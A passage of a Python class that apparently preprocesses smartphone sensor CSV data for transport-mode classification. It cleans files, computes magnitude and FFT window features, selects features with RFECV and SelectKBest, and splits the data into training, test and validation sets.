file_dst_forward = const.FILE_RAW_DATASET_FORWARD\n file_dst_zero = const.FILE_RAW_DATASET_ZERO\n self.create_header_files_if_not_exist(dir_src)\n self.create_or_reset_dir(dir_dst)\n file_path_forward = os.path.join(dir_dst, file_dst_forward)\n file_path_zero = os.path.join(dir_dst, file_dst_zero)\n with open(file_path_forward, 'w') as file_forward, open(file_path_zero, 'w') as file_zero:\n\n # write string header\n header_string = \"\"\n for i in self.header:\n if 'activityrecognition' not in self.header[i]:\n header_string += self.header[i] + \",\"\n if self.header[i] not in ['target', 'user', 'time']:\n header_string += self.header[i].replace('#0', '#1') + \",\" # #0 = signal, #1 = missing indicator\n header_string = header_string[:-1]\n header_string += \",target,user\\n\"\n file_zero.write(header_string)\n file_forward.write(header_string)\n\n # write raw signals and indicators\n filenames = listdir(dir_src)\n for file in filenames:\n if file.endswith(\".csv\"):\n current_file_path = os.path.join(dir_src, file)\n df_file = pd.read_csv(current_file_path, dtype=const.DATASET_DATA_TYPE)\n df_file_aux = df_file.copy()\n df_file_aux = df_file_aux.fillna(0)\n previous_row = dict()\n for index, row in df_file.iterrows():\n zero_row_string = \"\"\n forward_row_string = \"\"\n for column in df_file.columns:\n if column in ['target', 'user', 'time']:\n zero_row_string += str(row[column]) + \",\"\n forward_row_string += str(row[column]) + \",\"\n elif column not in ['activityrecognition#0', 'activityrecognition#1']:\n signal = row[column]\n if pd.isna(signal):\n missing = 1\n zero_signal = 0\n if previous_row.get(column, False):\n forward_signal = previous_row[column]\n else:\n forward_signal = df_file_aux[column].median()\n else:\n missing = 0\n zero_signal = signal\n forward_signal = signal\n zero_row_string += str(zero_signal) + \",\" + str(missing) + \",\"\n forward_row_string += str(forward_signal) + \",\" + str(missing) + \",\"\n previous_row[column] = forward_signal\n file_zero.write(zero_row_string[:-1] + \"\\n\")\n file_forward.write(forward_row_string[:-1] + \"\\n\")\n\n def create_header_files_if_not_exist(self, dir_src):\n # create files with header if not exist\n if not os.path.exists(dir_src):\n self.create_header_files()\n if len(self.header) == 0 or len(self.header_with_features) == 0:\n self.fill_data_structure()\n\n def clean_files(self):\n \"\"\"\n Fix original raw files problems:\n (1)delete measure from **sensor_to_exclude**\n (2)if **sound** or **speed** measure rows have negative time --> use module\n (3)if **time** have incorrect values (\"/\", \">\", \"<\", \"-\", \"_\"...) --> delete file\n (4)if file is empty --> delete file\n :return:\n \"\"\"\n if os.path.exists(const.CLEAN_LOG):\n os.remove(const.CLEAN_LOG)\n\n pattern_negative = re.compile(\"-[0-9]+\")\n pattern_number = re.compile(\"[0-9]+\")\n\n # create directory for correct files\n self.create_or_reset_dir(const.DIR_RAW_DATA_CORRECT)\n\n # create log file\n logging.basicConfig(filename=const.CLEAN_LOG, level=logging.INFO)\n logging.info(\"CLEANING FILES...\")\n print(\"CLEAN FILES...\")\n filenames = listdir(const.DIR_RAW_DATA_ORIGINAL)\n # iterate on files in raw data directory - delete files with incorrect rows\n n_files = 0\n deleted_files = 0\n for file in filenames:\n\n if file.endswith(\".csv\"):\n n_files += 1\n # to_delete be 1 if the file have to be excluded from the dataset\n to_delete = 0\n\n with open(os.path.join(const.DIR_RAW_DATA_ORIGINAL, file), 'rb') as current_file:\n res_file_path = os.path.join(const.DIR_RAW_DATA_CORRECT, file)\n with open(res_file_path, \"w\") as file_result:\n lines = current_file.readlines() # workaround for non-utf-8 characters\n for line in lines:\n try:\n line = line.decode('utf-8')\n except UnicodeDecodeError:\n print(\"line\", line, \"ignored!\")\n continue\n line_data = line.split(\",\")\n\n if line_data[1] == \"activityrecognition\":\n line_data[0] = \"0\"\n\n end_line = \",\".join(line_data[2:])\n # check if time data is correct, if is negative, make modulo\n if re.match(pattern_negative, line_data[0]):\n current_time = line_data[0][1:]\n else:\n # if is not a number the file must be deleted\n if re.match(pattern_number, line_data[0]) is None:\n to_delete = 1\n current_time = line_data[0]\n # check sensor, if is in sensors_to_exclude don't consider\n if line_data[1] not in const.SENSORS_TO_EXCLUDE_FROM_FILES:\n current_sensor = line_data[1]\n line_result = current_time + \",\" + current_sensor + \",\" + end_line\n file_result.write(line_result)\n\n # remove files with incorrect values for time\n if to_delete == 1:\n logging.info(\" Delete: \" + file + \" --- Time with incorrect values\")\n deleted_files += 1\n os.remove(res_file_path)\n\n # delete empty files\n file_empty = []\n filenames = listdir(const.DIR_RAW_DATA_CORRECT)\n for file in filenames:\n full_path = os.path.join(const.DIR_RAW_DATA_CORRECT, file)\n # check if file is empty\n if (os.path.getsize(full_path)) == 0:\n deleted_files += 1\n file_empty.append(file)\n logging.info(\" Delete: \" + file + \" --- is Empty\")\n os.remove(full_path)\n\n pattern = re.compile(\"^[0-9]+,[a-z,A-Z._]+,[-,0-9a-zA-Z.]+$\", re.VERBOSE)\n # pattern = re.compile(\"^[0-9]+,[a-z,A-Z,\\.,_]+,[-,0-9,a-z,A-Z,\\.]+$\", re.VERBOSE)\n filenames = listdir(const.DIR_RAW_DATA_CORRECT)\n for file in filenames:\n n_error = 0\n full_path = os.path.join(const.DIR_RAW_DATA_CORRECT, file)\n # check if all row respect regular expression\n with open(full_path) as f:\n for line in f:\n match = re.match(pattern, line)\n if match is None:\n n_error += 1\n if n_error > 0:\n deleted_files += 1\n os.remove(full_path)\n\n logging.info(\" Tot files in Dataset : \" + str(n_files))\n logging.info(\" Tot deleted files : \" + str(deleted_files))\n logging.info(\" Remaining files : \" + str(len(listdir(const.DIR_RAW_DATA_CORRECT))))\n\n self.n_files = len(listdir(const.DIR_RAW_DATA_CORRECT))\n logging.info(\"END CLEAN FILES\")\n print(\"END CLEAN.... results on log file\")\n\n def transform_raw_data(self):\n \"\"\"\n Transform sensor raw data in orientation independent data (with magnitude metric)\n :return:\n \"\"\"\n dir_src = const.DIR_RAW_DATA_CORRECT\n dir_dst = const.DIR_RAW_DATA_TRANSFORM\n\n if not os.path.exists(dir_src):\n self.clean_files()\n\n self.create_or_reset_dir(dir_dst)\n\n if os.path.exists(dir_src):\n filenames = listdir(dir_src)\n else:\n shutil.rmtree(dir_dst)\n sys.exit(\"THERE ARE NO SYNTHETIC DATA TO BE PROCESSED\")\n\n logging.info(\"TRANSFORMING RAW DATA...\")\n print(\"TRANSFORMING RAW DATA...\")\n for file in filenames:\n if file.endswith(\".csv\"):\n with open(os.path.join(dir_src, file)) as current_file:\n with open(os.path.join(dir_dst, file), \"w\") as file_result:\n for line in current_file:\n line_data = line.split(\",\")\n end_line = \",\".join(line_data[2:])\n current_time = line_data[0]\n # sensor = line_data[1]\n user = \"\"\n target = \"\"\n target = target.replace(\"\\n\", \"\")\n # check sensors\n if line_data[1] not in const.SENSORS_TO_EXCLUDE_FROM_DATASET: # the sensor is not to exlude\n if line_data[1] not in const.SENSOR_TO_TRANSFORM_MAGNITUDE: # not to transofrom\n if line_data[1] not in const.SENSOR_TO_TRANSFROM_4ROTATION: # not to trasform\n if line_data[1] not in const.SENSOR_TO_TAKE_FIRST: # not to take first data\n # report the line as it is\n current_sensor = line_data[1]\n line_result = current_time + \",\" + current_sensor + \",\" + end_line\n else:\n current_sensor = line_data[1]\n vector_data = line_data[2:]\n try:\n vector_data = [float(i) for i in vector_data]\n except ValueError:\n vector_data = [str(i) for i in vector_data]\n line_result = current_time + \",\" + current_sensor + \",\" + str(\n vector_data[0]\n ) + user + target + \"\\n\"\n else: # the sensor is to transform 4 rotation\n current_sensor = line_data[1]\n vector_data = line_data[2:]\n vector_data = [float(i) for i in vector_data]\n magnitude = math.sin(math.acos(vector_data[3]))\n line_result = \\\n current_time + \",\" + \\\n current_sensor + \",\" + \\\n str(magnitude) + user + target + \"\\n\"\n else: # the sensor is to transform\n current_sensor = line_data[1]\n vector_data = line_data[2:]\n vector_data = [float(i) for i in vector_data]\n magnitude = math.sqrt(sum(((math.pow(vector_data[0], 2)),\n (math.pow(vector_data[1], 2)),\n (math.pow(vector_data[2], 2)))))\n line_result = \\\n current_time + \",\" \\\n + current_sensor + \",\" + \\\n str(magnitude) + user + target + \"\\n\"\n file_result.write(line_result)\n elif file.endswith(\".json\"):\n shutil.copyfile(os.path.join(dir_src, file), os.path.join(dir_dst, file))\n logging.info(\"END TRANSFORMING RAW DATA...\")\n print(\"END TRANSFORMING RAW DATA...\")\n\n def fill_data_structure(self):\n \"\"\"\n Fill travel modes, users, sensors data structures\n :return:\n \"\"\"\n\n dir_src = const.DIR_RAW_DATA_TRANSFORM\n if not os.path.exists(dir_src):\n print(\"You should clean files first!\")\n return -1\n\n filenames = listdir(dir_src)\n\n for file in filenames:\n if file.endswith(\".csv\"):\n data = file.split(\"_\")\n if data[2] not in self.tm:\n self.tm.append(data[2])\n if data[1] not in self.users:\n self.users.append(data[1])\n f = open(os.path.join(dir_src, file))\n reader = csv.reader(f, delimiter=\",\")\n for row in reader:\n if row[1] not in self.sensors and not row[1] == \"\":\n self.sensors.append(row[1])\n f.close()\n\n self.header_with_features = {0: \"time\", 1: \"activityrecognition#0\", 2: \"activityrecognition#1\"}\n header_index = 3\n for s in self.sensors:\n if s != \"activityrecognition\":\n for feature_key in self.EXTRACTED_FEATURE_KEYS:\n self.header_with_features[header_index] = s + feature_key\n header_index += 1\n\n self.header = {0: \"time\", 1: \"activityrecognition#0\", 2: \"activityrecognition#1\"}\n header_index = 3\n for s in self.sensors:\n if s != \"activityrecognition\":\n self.header[header_index] = s + \"#0\"\n header_index += 1\n\n def range_position_in_header_with_features(self, sensor_name):\n \"\"\"\n Return position of input sensor in header with features\n :param sensor_name:\n :return:\n \"\"\"\n if len(self.header) == 0 or len(self.header_with_features) == 0:\n self.fill_data_structure()\n range_position = []\n start_pos = end_pos = -1\n i = 0\n found = False\n while True and i < len(self.header_with_features):\n compare = (str(self.header_with_features[i])).split(\"#\")[0]\n if compare == sensor_name:\n found = True\n if start_pos == -1:\n start_pos = i\n else:\n end_pos = i\n i += 1\n else:\n i += 1\n if found:\n if end_pos == -1:\n end_pos = i - 2\n break\n range_position.append(start_pos)\n range_position.append(end_pos)\n return range_position\n\n def range_position_in_header(self, sensor_name):\n \"\"\"\n Return position of input sensor in header without features\n :param sensor_name:\n :return:\n \"\"\"\n if len(self.header) == 0 or len(self.header_with_features) == 0:\n self.fill_data_structure()\n range_position = []\n start_pos = end_pos = -1\n i = 0\n found = False\n while True and i < len(self.header):\n compare = (str(self.header[i])).split(\"#\")[0]\n if compare == sensor_name:\n found = True\n if start_pos == -1:\n start_pos = i\n else:\n end_pos = i\n i += 1\n else:\n i += 1\n if found:\n if end_pos == -1:\n end_pos = i - 2\n break\n if end_pos == -1:\n end_pos = len(self.header) - 1\n range_position.append(start_pos)\n range_position.append(end_pos)\n return range_position\n\n def create_header_files(self):\n \"\"\"\n Fill directory with all file consistent with the header without features\n :return:\n \"\"\"\n\n dir_src = const.DIR_RAW_DATA_TRANSFORM\n dir_dst = const.DIR_RAW_DATA_HEADER\n\n if not os.path.exists(dir_src):\n print(dir_src)\n self.transform_raw_data()\n\n if len(self.header) == 0 or len(self.header_with_features) == 0:\n self.fill_data_structure()\n\n self.create_or_reset_dir(dir_dst)\n\n print(\"CREATE HEADER FILES....\")\n filenames = listdir(dir_src)\n\n for file in filenames:\n if file.endswith(\".csv\"):\n user = \"\"\n target = \"\"\n current_file_data = file.split(\"_\")\n target = current_file_data[2]\n user = current_file_data[1]\n full_current_file_path = os.path.join(dir_src, file)\n with open(full_current_file_path) as current_file:\n full_current_file_path = os.path.join(dir_dst, file)\n with open(full_current_file_path, \"w\") as file_header:\n # write first line of file\n header_line = \"\"\n for x in range(0, len(self.header)):\n if x == 0: # time\n header_line = self.header[0]\n else:\n header_line = header_line + \",\" + self.header[x]\n header_line = header_line + \",target,user\" + \"\\n\"\n file_header.write(header_line)\n # write all other lines\n j = -1\n for line in current_file:\n j += 1\n line_data = line.split(\",\")\n # first element time\n new_line_data = {0: line_data[0]}\n sensor_c = line_data[1]\n pos = self.range_position_in_header(sensor_c)\n # others elements all -1 except elements in range between pos[0] and pos[1]\n curr_line_data = 2\n for x in range(1, len(self.header)): # x is the offset in list new_line_data\n if x in range(pos[0], pos[1] + 1):\n if curr_line_data < len(line_data):\n if \"\\n\" not in line_data[curr_line_data]:\n if \"-Infinity\" in line_data[curr_line_data]:\n new_line_data[x] = \"\"\n else:\n new_line_data[x] = line_data[curr_line_data]\n else:\n if \"-Infinity\" in line_data[curr_line_data]:\n new_line_data[x] = \"\"\n else:\n new_line_data[x] = line_data[curr_line_data].split(\"\\n\")[0]\n curr_line_data += 1\n else:\n new_line_data[x] = \"\"\n else:\n new_line_data[x] = \"\"\n new_line = \"\"\n for x in range(0, len(new_line_data)):\n if x == 0:\n new_line = new_line_data[0]\n else:\n new_line = new_line + \",\" + new_line_data[x]\n new_line = new_line + \",\" + str(target) + \",\" + str(user) + \"\\n\"\n file_header.write(new_line)\n elif file.endswith(\".json\"):\n shutil.copyfile(os.path.join(dir_src, file), os.path.join(dir_dst, file))\n print(\"END HEADER FILES....\")\n\n def create_time_files(self):\n \"\"\"\n Fill directory with all file consistent with the featured header divided in time window\n :return:\n \"\"\"\n dir_src = const.DIR_RAW_DATA_HEADER\n dir_dst = const.DIR_RAW_DATA_FEATURES\n\n self.create_header_files_if_not_exist(dir_src)\n\n self.create_or_reset_dir(dir_dst)\n\n print(\"DIVIDE FILES IN TIME WINDOWS AND COMPUTE FEATURES....\")\n # build string header\n header_string = \"\"\n for i in self.header_with_features:\n header_string = header_string + self.header_with_features[i] + \",\"\n header_string = header_string[:-1]\n header_string += \",target,user\\n\"\n\n # compute window dimension\n window_dim = int(const.SAMPLE_FOR_SECOND * const.WINDOW_DIMENSION)\n\n # loop on header files\n filenames = listdir(dir_src)\n current_values = []\n current_user = \"\"\n current_tm = \"\"\n for current_file in filenames:\n if current_file.endswith(\"csv\"):\n\n current_tm = current_file.split(\"_\")[2]\n current_user = current_file.split(\"_\")[1]\n\n source_file_path = os.path.join(dir_src, current_file)\n df_file = pd.read_csv(source_file_path, dtype=const.DATASET_DATA_TYPE)\n\n feature_names = [\n col for col in df_file.columns\n if col not in [\n 'target',\n 'user',\n 'time',\n 'activityrecognition#0',\n 'activityrecognition#1'\n ]\n ]\n\n # max time in source file\n end_time = df_file.loc[df_file['time'].idxmax()]['time']\n destination_file_path = os.path.join(dir_dst, current_file)\n destination_file = open(destination_file_path, 'w')\n destination_file.write(header_string)\n\n start_current = 0\n i = 0\n\n # track previuos value, if no value are present for a windows use previous\n list_of_feature_dicts = list() # stored previous and current list of values\n\n for feature_key in self.EXTRACTED_FEATURE_KEYS: # order is important!!!\n list_of_feature_dicts.append({\n self.FEATURE_KEY: feature_key,\n self.PREVIOUS_LIST_KEY: list(), # initialize all previous\n })\n previous_activity_rec_list = \"\"\n previous_activity_rec_proba_list = \"\"\n previous_activity_rec = \"\"\n previous_activity_rec_proba = \"\"\n\n # loop on windows in file\n while True:\n\n # clear all current\n for feature_dict in list_of_feature_dicts:\n feature_dict[self.CURRENT_LIST_KEY] = list()\n\n # define time range\n end_current = start_current + window_dim\n if end_time <= end_current:\n range_current = list(range(start_current, end_time, 1))\n start_current = end_time\n else:\n range_current = list(range(start_current, end_current, 1))\n start_current = end_current\n # df of the current time window\n df_current = df_file.loc[df_file['time'].isin(range_current)]\n nfeature = 0\n\n current_line = \"\"\n for feature in feature_names:\n current_feature_serie = df_current[feature]\n\n dict_of_current_values = dict() # features must be stored in the same order as headers\n\n # time domain features\n dict_of_current_values['#mean'] = current_feature_serie.mean(skipna=True) # current mean\n dict_of_current_values['#median'] = current_feature_serie.median(skipna=True) # current median\n dict_of_current_values['#min'] = current_feature_serie.min(skipna=True)\n dict_of_current_values['#max'] = current_feature_serie.max(skipna=True)\n dict_of_current_values['#std'] = current_feature_serie.std(skipna=True)\n dict_of_current_values['#skewness'] = current_feature_serie.skew(skipna=True)\n dict_of_current_values['#kurtosis'] = current_feature_serie.kurtosis(skipna=True)\n dict_of_current_values['#ptp'] = current_feature_serie.ptp(skipna=True) # max - min\n current_q1 = current_feature_serie.quantile(0.25) # 1st quantile\n dict_of_current_values['#q1'] = current_q1\n current_q3 = current_feature_serie.quantile(0.75) # 3rd quantile\n dict_of_current_values['#q3'] = current_q3\n dict_of_current_values['#iqrange'] = current_q3 - current_q1 # interquantile range\n dict_of_current_values['#var'] = current_feature_serie.var(skipna=True) # variance\n\n current_feature_serie.fillna(0, inplace=True) # replace nan with 0 for next features\n dict_of_current_values['#entropy'] = util.entropy(current_feature_serie.values) # entropy\n\n # frequency domain features\n n_samples = len(current_feature_serie)\n\n try:\n fft = np.fft.rfft(current_feature_serie.values)\n fft_frequency = np.fft.rfftfreq(n_samples)\n fft_magnitude = np.abs(fft)\n fft_phase = np.angle(fft)\n fft_spectrum = np.abs(fft)**2\n fft_highest_magnitude_index = np.argmax(fft_magnitude)\n dict_of_current_values['#fft_highest_magnitude'] = fft_magnitude[fft_highest_magnitude_index]\n dict_of_current_values['#fft_highest_magnitude_frequency'] = fft_frequency[\n fft_highest_magnitude_index\n ]\n current_fft_total_spectrum = np.sum(fft_spectrum) # total spectrum\n dict_of_current_values['#fft_total_spectrum'] = current_fft_total_spectrum\n spectral_densities = fft_spectrum / n_samples\n current_fft_spectral_density = np.sum(spectral_densities) # spectral density\n dict_of_current_values['#fft_spectral_density'] = current_fft_spectral_density\n normalized_spectral_densities = spectral_densities / current_fft_total_spectrum\n dict_of_current_values['#fft_spectral_entropy'] = - np.sum(\n normalized_spectral_densities * np.log(normalized_spectral_densities)\n ) # spectral entropy\n\n dict_of_current_values['#fft_spectral_centroid'] = (\n np.sum(fft_magnitude*fft_frequency) / np.sum(fft_magnitude) # spectral centroid\n )\n dict_of_current_values['#fft_total_phase'] = np.sum(fft_phase) # total phase\n except ValueError:\n dict_of_current_values['#fft_highest_magnitude'] = 0.0\n dict_of_current_values['#fft_highest_magnitude_frequency'] = 0.0\n dict_of_current_values['#fft_total_spectrum'] = 0.0\n dict_of_current_values['#fft_spectral_density'] = 0.0\n dict_of_current_values['#fft_spectral_entropy'] = 0.0\n dict_of_current_values['#fft_spectral_centroid'] = 0.0\n dict_of_current_values['#fft_total_phase'] = 0.0\n\n\n assert len(list_of_feature_dicts) == len(dict_of_current_values.keys())\n if i == 0:\n for feature_dict in list_of_feature_dicts:\n feature_value = dict_of_current_values[feature_dict[self.FEATURE_KEY]]\n feature_dict[self.PREVIOUS_LIST_KEY].append(str(feature_value))\n feature_dict[self.CURRENT_LIST_KEY].append(str(feature_value))\n else:\n for feature_dict in list_of_feature_dicts:\n feature_value = dict_of_current_values[feature_dict[self.FEATURE_KEY]]\n if feature_value == 'nan':\n feature_dict[self.CURRENT_LIST_KEY].append(\n str(feature_dict[self.PREVIOUS_LIST_KEY][nfeature])\n )\n else:\n feature_dict[self.CURRENT_LIST_KEY].append(str(feature_value))\n\n for feature_dict in list_of_feature_dicts:\n current_line = current_line + str(feature_dict[self.CURRENT_LIST_KEY][nfeature]) + \",\"\n\n nfeature += 1\n\n if df_current.shape[0] > 0:\n # select 'activityrecognition#0' and 'activityrecognition#1' from df_current\n df_current_google = df_current[['activityrecognition#0', 'activityrecognition#1']]\n df_current_google = df_current_google[df_current_google['activityrecognition#1'] >= 0]\n if df_current_google.shape[0] == 0:\n current_values.append(previous_activity_rec)\n current_values.append(previous_activity_rec_proba)\n else:\n if df_current_google.shape[0] == 1:\n df_row = df_current_google\n current_values.append(df_row['activityrecognition#0'].item())\n current_values.append(df_row['activityrecognition#1'].item())\n else:\n # pick prediction with max probability to be correct\n activity0 = df_current_google.loc[df_current_google['activityrecognition#1'].idxmax()][\n 'activityrecognition#0']\n activity1 = df_current_google.loc[df_current_google['activityrecognition#1'].idxmax()][\n 'activityrecognition#1']\n current_values.append(activity0)\n current_values.append(activity1)\n previous_activity_rec = activity0\n previous_activity_rec_proba = activity1\n\n for feature_dict in list_of_feature_dicts:\n feature_dict[self.PREVIOUS_LIST_KEY] = feature_dict[self.CURRENT_LIST_KEY]\n\n if len(current_line) > 2:\n line = str(i) + \",\" \\\n + str(current_values[0]) + \",\" \\\n + str(current_values[1]) + \",\" \\\n + current_line[:-1]\n line = line + \",\" + str(current_tm) + \",\" + str(current_user) + \"\\n\"\n destination_file.write(line)\n i += 1\n if start_current == end_time:\n break\n print(\"END DIVIDE FILES IN TIME WINDOWS AND COMPUTE FEATURES......\")\n\n def create_or_reset_dir(self, dir_dst):\n if not os.path.exists(dir_dst):\n os.makedirs(dir_dst)\n else:\n shutil.rmtree(dir_dst)\n os.makedirs(dir_dst)\n\n @staticmethod\n def add_to_current_and_previous_list(current_value, current_value_list, previous_value_list):\n previous_value_list.append(str(current_value))\n current_value_list.append(str(current_value))\n\n def split_dataset(self, df):\n \"\"\"\n Split passed dataframe into test, train and cv\n :param df:\n :return:\n \"\"\"\n dir_src = const.DIR_DATASET\n file_training_dst = const.FILE_TRAINING\n file_test_dst = const.FILE_TEST\n file_cv_dst = const.FILE_CV\n\n training, cv, test = util.split_data(\n df,\n train_perc=const.TRAINING_PERC,\n cv_perc=const.CV_PERC,\n test_perc=const.TEST_PERC\n )\n training.to_csv(dir_src + '/' + file_training_dst, index=False)\n test.to_csv(dir_src + '/' + file_test_dst, index=False)\n cv.to_csv(dir_src + '/' + file_cv_dst, index=False)\n\n def preprocess_files(self):\n \"\"\"\n Clean files and transform in orientation independent\n :return:\n \"\"\"\n print(\"START PREPROCESSING...\")\n self.clean_files()\n self.transform_raw_data()\n\n def analyze_sensors_support(self):\n \"\"\"\n for each sensors analyze user support\n put support result in sensor_support.csv [sensor,nr_user,list_users,list_classes]\n :return:\n \"\"\"\n if not os.path.exists(const.DIR_RAW_DATA_CORRECT):\n print(\"You should pre-processing files first!\")\n return -1\n if len(self.users) == 0 or len(self.sensors) == 0 or len(self.tm) == 0:\n self.fill_data_structure()\n # build data frame for user support\n columns = ['sensor', 'nr_user', 'list_users', 'list_classes']\n index = list(range(len(self.sensors)))\n df_sensor_analysis = pd.DataFrame(index=index, columns=columns)\n df_sensor_analysis['sensor'] = self.sensors\n filenames = listdir(const.DIR_RAW_DATA_CORRECT)\n n_users = []\n users_list = []\n classes_list = []\n for s in self.sensors:\n class_list = []\n user_list = []\n for file in filenames:\n if file.endswith(\".csv\"):\n data = file.split(\"_\")\n f = open(os.path.join(const.DIR_RAW_DATA_CORRECT, file))\n if data[2] not in class_list:\n class_list.append(data[2])\n reader = csv.reader(f, delimiter=\",\")\n for row in reader:\n if row[1] == s and data[1] not in user_list:\n user_list.append(data[1])\n f.close()\n n_users.append(len(user_list))\n index = df_sensor_analysis[df_sensor_analysis['sensor'] == s].index.tolist()\n df_sensor_analysis.ix[index, 'list_users'] = str(user_list)\n df_sensor_analysis.ix[index, 'list_classes'] = str(class_list)\n self.add_to_current_and_previous_list(class_list, classes_list, users_list)\n df_sensor_analysis['nr_user'] = n_users\n df_sensor_analysis['list_users'] = users_list\n df_sensor_analysis['list_classes'] = classes_list\n\n df_sensor_analysis = df_sensor_analysis.sort_values(by=['nr_user'], ascending=[False])\n\n # remove result file if exists\n try:\n os.remove(const.FILE_SUPPORT)\n except OSError:\n pass\n df_sensor_analysis.to_csv(const.FILE_SUPPORT, index=False)\n\n def get_remained_sensors(self, sensors_set):\n \"\"\"\n Return list of considered sensors based on the correspondent classification level\n :param sensors_set:\n :return:\n \"\"\"\n excluded_sensors = self.get_excluded_sensors(sensors_set)\n remained_sensors = []\n for s in self.get_sensors:\n if s not in excluded_sensors:\n s = s.replace('android.sensor.', '')\n remained_sensors.append(s)\n return remained_sensors\n\n def get_sensors_set_features(self, sensors_set):\n \"\"\"\n Get set of features selected in sensor set\n :param sensors_set:\n :return:\n \"\"\"\n feature_to_delete = []\n header = self.get_header\n for s in self.get_excluded_sensors(sensors_set):\n for x in header.values():\n if s in x:\n feature_to_delete.append(x)\n features_list = (set(header.values()) - set(feature_to_delete))\n return features_list\n\n def get_sensor_features(self, sensor):\n \"\"\"\n Get features by sensor\n :param sensor:\n :return:\n \"\"\"\n feature_sensor = []\n header = self.get_header\n for x in header.values():\n if sensor in x:\n feature_sensor.append(x)\n return feature_sensor\n\n def get_feature_columns(self, dataset_type=const.DATASET_TYPE, **kwargs):\n if 'raw_signal' in dataset_type:\n feature_columns = self.get_best_raw_signals(**kwargs)\n else:\n feature_columns = self.get_best_window_features(**kwargs)\n return feature_columns\n\n def get_best_window_features(self, **kwargs):\n \"\"\"\n :param kwargs\n :return:\n \"\"\"\n\n # check if best features have been selected before\n best_features_filepath = const.DIR_DATASET + \"/\" + self.BEST_FEATURES_OUTPUT_FILE\n if os.path.isfile(best_features_filepath) is False:\n\n # load preprocessed dataset\n dataframe = self.get_preprocessed_dataset()\n all_features_columns = list(self.get_remained_sensors(0))\n features_dataframe = dataframe[all_features_columns]\n classes_dataframe = dataframe[self.TRAVEL_MODE_COLUMN]\n\n # execute feature selection with RFE\n feature_columns = self._get_best_sensor_features_with_rfe(\n features_dataframe=features_dataframe,\n classes_dataframe=classes_dataframe,\n **kwargs\n )\n features_dataframe = dataframe[feature_columns]\n n_features = len(feature_columns)\n\n # execute dimensionality reduction with KBest\n max_features = int(math.sqrt(len(dataframe))) # rule of thumb\n feature_columns = self._get_best_sensor_features_with_kbest(\n features_dataframe=features_dataframe,\n classes_dataframe=classes_dataframe,\n k_features=min(n_features, max_features),\n **kwargs\n )\n\n # save selected features names in file\n with open(best_features_filepath, mode='x', newline='') as csvfile:\n csvwriter = csv.writer(csvfile, delimiter=',')\n csvwriter.writerow(['feature_header_column'])\n for column in feature_columns:\n csvwriter.writerow([column])\n\n # retrieve best features lists\n return pd.read_csv(best_features_filepath).values.flatten().tolist()\n\n @staticmethod\n def _get_best_sensor_features_with_kbest(\n features_dataframe: pd.DataFrame,\n classes_dataframe: pd.DataFrame,\n k_features=20,\n metric=mutual_info_classif\n ):\n \"\"\"\n select k best features with mututal_info_classif\n :param features_dataframe:\n :param classes_dataframe:\n :param k_features:\n :return:\n \"\"\"\n feature_selector = SelectKBest(metric, k=k_features)\n feature_selector.fit(features_dataframe.values, classes_dataframe.values)\n feature_columns = features_dataframe.columns[feature_selector.get_support()]\n return feature_columns\n\n @staticmethod\n def _get_best_sensor_features_with_rfe(\n features_dataframe: pd.DataFrame,\n classes_dataframe: pd.DataFrame,\n estimator=RandomForestClassifier(),\n n_steps=1,\n n_folds=10,\n scoring_metric='accuracy',\n verbose=1\n ):\n \"\"\"\n Retrieves the best sensor features selected through\n 10-fold Cross Validated Recursive Feature Elimination\n with RandomForest estimator and accuracy metric\n :return:\n \"\"\"\n feature_selector = RFECV(\n estimator=estimator,\n step=n_steps,\n cv=StratifiedKFold(n_folds),\n scoring=scoring_metric,\n verbose=verbose\n )\n feature_selector.fit(features_dataframe.values, classes_dataframe.values)\n feature_columns = features_dataframe.columns[feature_selector.get_support()]\n return feature_columns\n\n def get_preprocessed_dataset(self, dataset_type=const.DATASET_TYPE):\n \"\"\"\n Retrieves the preprocessed dataset\n :param dataset_type ('feature_unbalanced', 'feature_balanced', 'raw_signal_forward', 'raw_signal_zero' )\n :return: dataframe:\n \"\"\"\n print(\"Preprocessing dataset ...\")\n\n if dataset_type == 'feature_unbalanced':\n dataframe = self.get_dataset\n elif dataset_type == 'feature_balanced':\n dataframe = self.get_balanced_dataset\n elif dataset_type == 'raw_signal_forward':\n dataframe = self.get_raw_dataset_with_forward_filling\n elif dataset_type == 'raw_signal_zero':\n dataframe = self.get_raw_dataset_with_zero_filling\n else:\n raise ValueError('dataset_type {} not supported!'.format(dataset_type))\n\n # dataframe = dataframe[dataframe.user != 'U1'] # remove user 1 to reduce bias\n dataframe = dataframe.fillna(dataframe.mean()) # fill na with mean\n dataframe = dataframe.fillna(0) # fill na with zero\n self.scale_features(dataframe, dataset_type) # scale features to reduce bias\n print('Finished preprocessing dataset!')\n return dataframe\n\n def scale_features(self, dataframe, dataset_type=const.DATASET_TYPE):\n \"\"\"\n Scales dataframe features in place using interquartile range\n :param dataframe:\n :param dataset_type:\n :return:\n \"\"\"\n if 'raw_signal' in dataset_type:\n feature_columns = self.get_raw_signals()\n else:\n feature_columns = list(self.get_sensors_set_features(0))\n print(feature_columns)\n features_dataframe = dataframe[feature_columns]\n dataframe[feature_columns] = RobustScaler().fit_transform(features_dataframe)\n\n @staticmethod\n def get_excluded_sensors(sensors_set):\n \"\"\"\n Return list of excluded sensor based on the correspondent classification level\n :param sensors_set:\n :return:\n \"\"\"\n if sensors_set == 1:\n excluded_sensors = const.sensor_to_exclude_first\n elif sensors_set == 2:\n excluded_sensors = const.sensor_to_exclude_second\n elif sensors_set == 3:\n excluded_sensors = const.sensors_to_exclude_third\n else:\n excluded_sensors = const.sensors_to_exclude_all\n return excluded_sensors\n\n # --------------------------------- PROPERTIES ------------------------------------------------------------------- #\n @property\n def get_users(self):\n if len(self.users) == 0:\n self.fill_data_structure()\n return self.users\n\n @property\n def get_tm(self):\n if len(self.tm) == 0:\n self.fill_data_structure()\n return self.tm\n\n @property\n def get_sensors(self):\n if len(self.sensors) == 0:\n self.fill_data_structure()\n return self.sensors\n\n @property\n def get_header(self):\n if len(self.header_with_features) == 0:\n self.fill_data_structure()\n return self.header_with_features\n\n @property\n def get_train(self):\n return pd.read_csv(const.DIR_DATASET + \"/\" + const.FILE_TRAINING)\n\n @property\n def get_test(self):\n return pd.read_csv(const.DIR_DATASET + \"/\" + const.FILE_TEST)\n\n @property\n def get_cv(self):\n return pd.read_csv(const.DIR_DATASET + \"/\" + const.FILE_CV)\n\n @property\n def get_dataset(self):\n return pd.read_csv(const.DIR_DATASET + \"/\" + const.FILE_DATASET)\n\n @property\n def get_raw_dataset_with_forward_filling(self):\n return pd.read_csv(const.DIR_RAW_DATASET + \"/\" + 